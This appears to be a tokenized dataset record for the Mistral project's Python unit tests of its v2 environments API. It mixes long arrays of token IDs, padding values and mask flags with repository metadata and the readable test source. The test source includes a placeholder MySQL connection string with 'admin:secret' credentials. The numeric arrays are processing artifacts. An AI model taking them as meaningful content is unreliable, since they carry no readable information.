32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
7065,
14,
1018,
492,
3272,
199,
646,
295,
199,
646,
984,
199,
199,
479,
984,
14,
1023,
63,
815,
2356,
334,
19,
12,
841,
395,
298,
71,
6413,
86,
4989,
5074,
2018,
650,
14,
20,
14,
88,
503,
2945,
2,
199,
199,
318,
664,
63,
1023,
63,
875,
837,
272,
1015,
63,
493,
275,
298,
71,
6413,
86,
4989,
15607,
1023,
14,
647,
2,
272,
1015,
63,
495,
63,
604,
275,
1551,
8,
1023,
63,
493,
12,
298,
2591,
3471,
739,
342,
272,
1015,
63,
11191,
275,
519,
16136,
363,
1023,
363,
275,
788,
60,
937,
7059,
1154,
937,
10,
11820,
60,
937,
2,
272,
295,
63,
548,
275,
295,
14,
1733,
8,
1023,
63,
11191,
12,
1015,
63,
495,
63,
604,
12,
295,
14,
45,
9,
272,
340,
295,
63,
548,
365,
440,
488,
26,
267,
372,
295,
63,
548,
14,
923,
8,
17,
9,
272,
587,
26,
267,
746,
6064,
480,
6005,
370,
2342,
1015,
1059,
315,
450,
83,
2122,
450,
334,
1023,
63,
493,
4641,
199,
199,
2758,
8,
272,
536,
534,
71,
6413,
86,
4989,
297,
272,
1015,
29,
362,
63,
1023,
63,
875,
1062,
272,
4132,
534,
1352,
72,
2591,
1119,
699,
20338,
328,
297,
272,
4132,
63,
2123,
534,
278,
72,
2591,
1119,
32,
29047,
3615,
390,
938,
14,
1308,
297,
272,
6117,
2968,
71,
6413,
86,
4989,
297,
1598,
283,
71,
6413,
86,
4989,
14,
20580,
297,
1598,
283,
71,
6413,
86,
4989,
14,
992,
297,
1598,
283,
71,
6413,
86,
4989,
14,
17677,
297,
1598,
283,
71,
6413,
86,
4989,
14,
32238,
297,
1598,
283,
71,
6413,
86,
4989,
14,
23253,
297,
1598,
283,
71,
6413,
86,
4989,
14,
5054,
297,
1598,
283,
71,
6413,
86,
4989,
14,
1208,
297,
1598,
283,
71,
6413,
86,
4989,
14,
2308,
995,
272,
4190,
534,
3961,
14,
2424,
297,
272,
1369,
534,
39,
619,
43,
486,
35,
7312,
28319,
6279,
5114,
297,
272,
1846,
63,
1802,
29,
1490,
360,
71,
6413,
86,
4989,
15,
18195,
14,
2424,
1959,
739,
1062,
272,
3907,
63,
6537,
1524,
267,
298,
32057,
508,
378,
14,
25,
14,
16,
401,
267,
298,
647,
5466,
19,
508,
650,
14,
17,
401,
267,
298,
4714,
2356,
413,
14,
969,
14,
17,
401,
267,
298,
14248,
2356,
378,
14,
1167,
14,
17,
401,
267,
298,
84,
81,
6428,
2356,
841,
14,
1046,
14,
16,
2,
272,
4794,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
StackStorm/mistral
|
mistral/tests/unit/api/v2/test_environment.py
|
1
|
10105
|
# Copyright 2015 - StackStorm, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import copy
import datetime
import json
import mock
import six
import sqlalchemy as sa
from mistral.api.controllers.v2 import resources
from mistral.db.v2 import api as db_api
from mistral.db.v2.sqlalchemy import models as db
from mistral import exceptions as exc
from mistral.tests.unit.api import base
from oslo_utils import uuidutils
DATETIME_FORMAT = '%Y-%m-%d %H:%M:%S.%f'
VARIABLES = {
'host': 'localhost',
'db': 'test',
'timeout': 600,
'verbose': True,
'__actions': {
'std.sql': {
'conn': 'mysql://admin:secret@<% env().host %>/<% env().db %>'
}
}
}
ENVIRONMENT_FOR_CREATE = {
'name': 'test',
'description': 'my test settings',
'variables': VARIABLES,
}
ENVIRONMENT_FOR_UPDATE = {
'name': 'test',
'description': 'my test settings',
'variables': VARIABLES,
'scope': 'private'
}
ENVIRONMENT_FOR_UPDATE_NO_SCOPE = {
'name': 'test',
'description': 'my test settings',
'variables': VARIABLES
}
ENVIRONMENT = {
'id': uuidutils.generate_uuid(),
'name': 'test',
'description': 'my test settings',
'variables': VARIABLES,
'scope': 'private',
'project_id': '<default-project>',
'created_at': str(datetime.datetime.utcnow()),
'updated_at': str(datetime.datetime.utcnow())
}
ENVIRONMENT_WITH_ILLEGAL_FIELD = {
'id': uuidutils.generate_uuid(),
'name': 'test',
'description': 'my test settings',
'extra_field': 'I can add whatever I want here',
'variables': VARIABLES,
'scope': 'private',
}
ENVIRONMENT_DB = db.Environment(
id=ENVIRONMENT['id'],
name=ENVIRONMENT['name'],
description=ENVIRONMENT['description'],
variables=copy.deepcopy(VARIABLES),
scope=ENVIRONMENT['scope'],
project_id=ENVIRONMENT['project_id'],
created_at=datetime.datetime.strptime(ENVIRONMENT['created_at'],
DATETIME_FORMAT),
updated_at=datetime.datetime.strptime(ENVIRONMENT['updated_at'],
DATETIME_FORMAT)
)
ENVIRONMENT_DB_WITH_PROJECT_ID = ENVIRONMENT_DB.get_clone()
ENVIRONMENT_DB_WITH_PROJECT_ID.project_id = '<default-project>'
ENVIRONMENT_DB_DICT = {k: v for k, v in ENVIRONMENT_DB.items()}
UPDATED_VARIABLES = copy.deepcopy(VARIABLES)
UPDATED_VARIABLES['host'] = '127.0.0.1'
FOR_UPDATED_ENVIRONMENT = copy.deepcopy(ENVIRONMENT_FOR_UPDATE)
FOR_UPDATED_ENVIRONMENT['variables'] = json.dumps(UPDATED_VARIABLES)
UPDATED_ENVIRONMENT = copy.deepcopy(ENVIRONMENT)
UPDATED_ENVIRONMENT['variables'] = json.dumps(UPDATED_VARIABLES)
UPDATED_ENVIRONMENT_DB = db.Environment(**ENVIRONMENT_DB_DICT)
UPDATED_ENVIRONMENT_DB.variables = copy.deepcopy(UPDATED_VARIABLES)
MOCK_ENVIRONMENT = mock.MagicMock(return_value=ENVIRONMENT_DB)
MOCK_ENVIRONMENTS = mock.MagicMock(return_value=[ENVIRONMENT_DB])
MOCK_UPDATED_ENVIRONMENT = mock.MagicMock(return_value=UPDATED_ENVIRONMENT_DB)
MOCK_EMPTY = mock.MagicMock(return_value=[])
MOCK_NOT_FOUND = mock.MagicMock(side_effect=exc.DBEntityNotFoundError())
MOCK_DUPLICATE = mock.MagicMock(side_effect=exc.DBDuplicateEntryError())
MOCK_DELETE = mock.MagicMock(return_value=None)
def _convert_vars_to_dict(env_dict):
"""Converts 'variables' in the given environment dict into dictionary."""
if ('variables' in env_dict and
isinstance(env_dict.get('variables'), six.string_types)):
env_dict['variables'] = json.loads(env_dict['variables'])
return env_dict
def _convert_vars_to_json(env_dict):
"""Converts 'variables' in the given environment dict into string."""
if ('variables' in env_dict and
isinstance(env_dict.get('variables'), dict)):
env_dict['variables'] = json.dumps(env_dict['variables'])
return env_dict
class TestEnvironmentController(base.APITest):
def _assert_dict_equal(self, expected, actual):
self.assertIsInstance(expected, dict)
self.assertIsInstance(actual, dict)
_convert_vars_to_dict(expected)
_convert_vars_to_dict(actual)
self.assertDictEqual(expected, actual)
def test_resource(self):
resource = resources.Environment(**copy.deepcopy(ENVIRONMENT))
self._assert_dict_equal(
copy.deepcopy(ENVIRONMENT),
resource.to_dict()
)
@mock.patch.object(db_api, 'get_environments', MOCK_ENVIRONMENTS)
def test_get_all(self):
resp = self.app.get('/v2/environments')
self.assertEqual(200, resp.status_int)
self.assertEqual(1, len(resp.json['environments']))
@mock.patch.object(db_api, 'get_environments')
def test_get_all_operational_error(self, mocked_get_all):
mocked_get_all.side_effect = [
# Emulating DB OperationalError
sa.exc.OperationalError('Mock', 'mock', 'mock'),
[ENVIRONMENT_DB] # Successful run
]
resp = self.app.get('/v2/environments')
self.assertEqual(200, resp.status_int)
self.assertEqual(1, len(resp.json['environments']))
self._assert_dict_equal(ENVIRONMENT, resp.json['environments'][0])
def test_get_all_empty(self):
resp = self.app.get('/v2/environments')
self.assertEqual(200, resp.status_int)
self.assertEqual(0, len(resp.json['environments']))
@mock.patch.object(db_api, 'get_environment', MOCK_ENVIRONMENT)
def test_get(self):
resp = self.app.get('/v2/environments/123')
self.assertEqual(200, resp.status_int)
self._assert_dict_equal(ENVIRONMENT, resp.json)
@mock.patch.object(db_api, 'get_environment')
def test_get_operational_error(self, mocked_get):
mocked_get.side_effect = [
# Emulating DB OperationalError
sa.exc.OperationalError('Mock', 'mock', 'mock'),
ENVIRONMENT_DB # Successful run
]
resp = self.app.get('/v2/environments/123')
self.assertEqual(200, resp.status_int)
self._assert_dict_equal(ENVIRONMENT, resp.json)
@mock.patch.object(db_api, 'get_environment',
return_value=ENVIRONMENT_DB_WITH_PROJECT_ID)
def test_get_within_project_id(self, mock_get):
resp = self.app.get('/v2/environments/123')
self.assertEqual(200, resp.status_int)
self.assertEqual('<default-project>', resp.json['project_id'])
@mock.patch.object(db_api, "get_environment", MOCK_NOT_FOUND)
def test_get_not_found(self):
resp = self.app.get('/v2/environments/123', expect_errors=True)
self.assertEqual(404, resp.status_int)
@mock.patch.object(db_api, 'create_environment', MOCK_ENVIRONMENT)
def test_post(self):
resp = self.app.post_json(
'/v2/environments',
_convert_vars_to_json(copy.deepcopy(ENVIRONMENT_FOR_CREATE))
)
self.assertEqual(201, resp.status_int)
self._assert_dict_equal(copy.deepcopy(ENVIRONMENT), resp.json)
@mock.patch.object(db_api, 'create_environment', MOCK_ENVIRONMENT)
def test_post_with_illegal_field(self):
resp = self.app.post_json(
'/v2/environments',
_convert_vars_to_json(
copy.deepcopy(ENVIRONMENT_WITH_ILLEGAL_FIELD)),
expect_errors=True
)
self.assertEqual(400, resp.status_int)
@mock.patch.object(db_api, 'create_environment', MOCK_DUPLICATE)
def test_post_dup(self):
resp = self.app.post_json(
'/v2/environments',
_convert_vars_to_json(copy.deepcopy(ENVIRONMENT_FOR_CREATE)),
expect_errors=True
)
self.assertEqual(409, resp.status_int)
@mock.patch.object(db_api, 'create_environment', MOCK_ENVIRONMENT)
def test_post_default_scope(self):
env = _convert_vars_to_json(copy.deepcopy(ENVIRONMENT_FOR_CREATE))
resp = self.app.post_json('/v2/environments', env)
self.assertEqual(201, resp.status_int)
self._assert_dict_equal(copy.deepcopy(ENVIRONMENT), resp.json)
@mock.patch.object(db_api, 'update_environment', MOCK_UPDATED_ENVIRONMENT)
def test_put(self):
resp = self.app.put_json(
'/v2/environments',
copy.deepcopy(FOR_UPDATED_ENVIRONMENT)
)
self.assertEqual(200, resp.status_int)
self._assert_dict_equal(UPDATED_ENVIRONMENT, resp.json)
@mock.patch.object(db_api, 'update_environment', MOCK_UPDATED_ENVIRONMENT)
def test_put_default_scope(self):
env = copy.deepcopy(ENVIRONMENT_FOR_UPDATE_NO_SCOPE)
env['variables'] = json.dumps(env)
resp = self.app.put_json('/v2/environments', env)
self.assertEqual(200, resp.status_int)
self._assert_dict_equal(copy.deepcopy(UPDATED_ENVIRONMENT), resp.json)
@mock.patch.object(db_api, 'update_environment', MOCK_NOT_FOUND)
def test_put_not_found(self):
env = copy.deepcopy(FOR_UPDATED_ENVIRONMENT)
resp = self.app.put_json(
'/v2/environments',
env,
expect_errors=True
)
self.assertEqual(404, resp.status_int)
@mock.patch.object(db_api, 'delete_environment', MOCK_DELETE)
def test_delete(self):
resp = self.app.delete('/v2/environments/123')
self.assertEqual(204, resp.status_int)
@mock.patch.object(db_api, 'delete_environment', MOCK_NOT_FOUND)
def test_delete_not_found(self):
resp = self.app.delete('/v2/environments/123', expect_errors=True)
self.assertEqual(404, resp.status_int)
|
apache-2.0
|
[
3,
1898,
6900,
446,
13894,
933,
1025,
12,
3277,
14,
199,
3,
199,
3,
259,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
199,
3,
259,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
199,
3,
259,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
263,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
259,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
259,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
3,
259,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
3,
259,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3,
259,
4204,
1334,
314,
844,
14,
199,
199,
646,
1331,
199,
646,
2197,
199,
646,
2022,
199,
199,
646,
1683,
199,
646,
3816,
199,
646,
8335,
465,
2937,
199,
199,
504,
333,
3075,
279,
14,
1246,
14,
20531,
14,
86,
18,
492,
5944,
199,
504,
333,
3075,
279,
14,
697,
14,
86,
18,
492,
2986,
465,
1592,
63,
1246,
199,
504,
333,
3075,
279,
14,
697,
14,
86,
18,
14,
14536,
492,
1709,
465,
1592,
199,
504,
333,
3075,
279,
492,
4967,
465,
3178,
199,
504,
333,
3075,
279,
14,
2219,
14,
3248,
14,
1246,
492,
1300,
199,
504,
11258,
63,
1208,
492,
5377,
1208,
199,
199,
12488,
63,
4807,
275,
1543,
57,
3295,
77,
3295,
68,
450,
40,
2689,
45,
2689,
51,
4111,
70,
7,
199,
199,
21161,
275,
469,
272,
283,
1102,
356,
283,
5967,
297,
272,
283,
697,
356,
283,
396,
297,
272,
283,
2593,
356,
11624,
12,
272,
283,
3832,
356,
715,
12,
272,
2560,
3723,
356,
469,
267,
283,
1516,
14,
3009,
356,
469,
288,
283,
1631,
356,
283,
8644,
921,
2113,
26,
4731,
32,
21110,
2589,
1252,
1102,
450,
23220,
5,
2589,
1252,
697,
450,
3524,
267,
789,
272,
789,
199,
93,
199,
199,
9984,
31168,
4479,
63,
2707,
63,
8366,
275,
469,
272,
283,
354,
356,
283,
396,
297,
272,
283,
1802,
356,
283,
1662,
511,
2202,
297,
272,
283,
3669,
356,
30098,
17041,
12,
199,
93,
199,
199,
9984,
31168,
4479,
63,
2707,
63,
10383,
275,
469,
272,
283,
354,
356,
283,
396,
297,
272,
283,
1802,
356,
283,
1662,
511,
2202,
297,
272,
283,
3669,
356,
30098,
17041,
12,
272,
283,
2645,
356,
283,
4239,
7,
199,
93,
199,
199,
9984,
31168,
4479,
63,
2707,
63,
10383,
63,
2826,
63,
17998,
275,
469,
272,
283,
354,
356,
283,
396,
297,
272,
283,
1802,
356,
283,
1662,
511,
2202,
297,
272,
283,
3669,
356,
30098,
17041,
199,
93,
421,
199,
9984,
31168,
4479,
275,
469,
272,
283,
344,
356,
5377,
1208,
14,
4208,
63,
2580,
1062,
272,
283,
354,
356,
283,
396,
297,
272,
283,
1802,
356,
283,
1662,
511,
2202,
297,
272,
283,
3669,
356,
30098,
17041,
12,
272,
283,
2645,
356,
283,
4239,
297,
272,
283,
1715,
63,
344,
356,
2650,
885,
13,
1715,
4206,
272,
283,
3966,
63,
292,
356,
620,
8,
2083,
14,
2083,
14,
10779,
4000,
272,
283,
5334,
63,
292,
356,
620,
8,
2083,
14,
2083,
14,
10779,
1012,
199,
93,
199,
199,
9984,
31168,
4479,
63,
9139,
63,
1193,
25086,
748,
63,
8609,
275,
469,
272,
283,
344,
356,
5377,
1208,
14,
4208,
63,
2580,
1062,
272,
283,
354,
356,
283,
396,
297,
272,
283,
1802,
356,
283,
1662,
511,
2202,
297,
272,
283,
2911,
63,
698,
356,
283,
41,
883,
1050,
15685,
473,
2934,
2348,
297,
272,
283,
3669,
356,
30098,
17041,
12,
272,
283,
2645,
356,
283,
4239,
297,
199,
93,
199,
199,
9984,
31168,
4479,
63,
2846,
275,
1592,
14,
8263,
8,
272,
1305,
29,
9984,
31168,
4479,
459,
344,
995,
272,
536,
29,
9984,
31168,
4479,
459,
354,
995,
272,
1369,
29,
9984,
31168,
4479,
459,
1802,
995,
272,
2860,
29,
1574,
14,
8293,
8,
21161,
395,
272,
4194,
29,
9984,
31168,
4479,
459,
2645,
995,
272,
2199,
63,
344,
29,
9984,
31168,
4479,
459,
1715,
63,
344,
995,
272,
2737,
63,
292,
29,
2083,
14,
2083,
14,
9866,
8,
9984,
31168,
4479,
459,
3966,
63,
292,
995,
5101,
17971,
10931,
63,
4807,
395,
272,
4588,
63,
292,
29,
2083,
14,
2083,
14,
9866,
8,
9984,
31168,
4479,
459,
5334,
63,
292,
995,
5101,
17971,
10931,
63,
4807,
9,
199,
9,
199,
199,
9984,
31168,
4479,
63,
2846,
63,
9139,
63,
10797,
63,
998,
275,
5070,
13679,
615,
4479,
63,
2846,
14,
362,
63,
6311,
342,
199,
9984,
31168,
4479,
63,
2846,
63,
9139,
63,
10797,
63,
998,
14,
1715,
63,
344,
275,
2650,
885,
13,
1715,
3524,
199,
199,
9984,
31168,
4479,
63,
2846,
63,
12511,
275,
469,
75,
26,
373,
367,
1022,
12,
373,
315,
5070,
13679,
615,
4479,
63,
2846,
14,
1744,
12737,
199,
199,
23612,
1149,
63,
21161,
275,
1331,
14,
8293,
8,
21161,
9,
199,
23612,
1149,
63,
21161,
459,
1102,
418,
275,
283,
4195,
14,
16,
14,
16,
14,
17,
7,
199,
2707,
63,
23612,
1149,
63,
9984,
31168,
4479,
275,
1331,
14,
8293,
8,
9984,
31168,
4479,
63,
2707,
63,
10383,
9,
199,
2707,
63,
23612,
1149,
63,
9984,
31168,
4479,
459,
3669,
418,
275,
2022,
14,
4180,
8,
23612,
1149,
63,
21161,
9,
199,
23612,
1149,
63,
9984,
31168,
4479,
275,
1331,
14,
8293,
8,
9984,
31168,
4479,
9,
199,
23612,
1149,
63,
9984,
31168,
4479,
459,
3669,
418,
275,
2022,
14,
4180,
8,
23612,
1149,
63,
21161,
9,
199,
23612,
1149,
63,
9984,
31168,
4479,
63,
2846,
275,
1592,
14,
8263,
3682,
9984,
31168,
4479,
63,
2846,
63,
12511,
9,
199,
23612,
1149,
63,
9984,
31168,
4479,
63,
2846,
14,
3669,
275,
1331,
14,
8293,
8,
23612,
1149,
63,
21161,
9,
199,
199,
17749,
63,
9984,
31168,
4479,
275,
1683,
14,
11988,
8,
1107,
63,
585,
29,
9984,
31168,
4479,
63,
2846,
9,
199,
17749,
63,
9984,
31168,
20967,
275,
1683,
14,
11988,
8,
1107,
63,
585,
1524,
9984,
31168,
4479,
63,
2846,
566,
199,
17749,
63,
23612,
1149,
63,
9984,
31168,
4479
] |
[
1898,
6900,
446,
13894,
933,
1025,
12,
3277,
14,
199,
3,
199,
3,
259,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
199,
3,
259,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
199,
3,
259,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
263,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
259,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
259,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
3,
259,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
3,
259,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3,
259,
4204,
1334,
314,
844,
14,
199,
199,
646,
1331,
199,
646,
2197,
199,
646,
2022,
199,
199,
646,
1683,
199,
646,
3816,
199,
646,
8335,
465,
2937,
199,
199,
504,
333,
3075,
279,
14,
1246,
14,
20531,
14,
86,
18,
492,
5944,
199,
504,
333,
3075,
279,
14,
697,
14,
86,
18,
492,
2986,
465,
1592,
63,
1246,
199,
504,
333,
3075,
279,
14,
697,
14,
86,
18,
14,
14536,
492,
1709,
465,
1592,
199,
504,
333,
3075,
279,
492,
4967,
465,
3178,
199,
504,
333,
3075,
279,
14,
2219,
14,
3248,
14,
1246,
492,
1300,
199,
504,
11258,
63,
1208,
492,
5377,
1208,
199,
199,
12488,
63,
4807,
275,
1543,
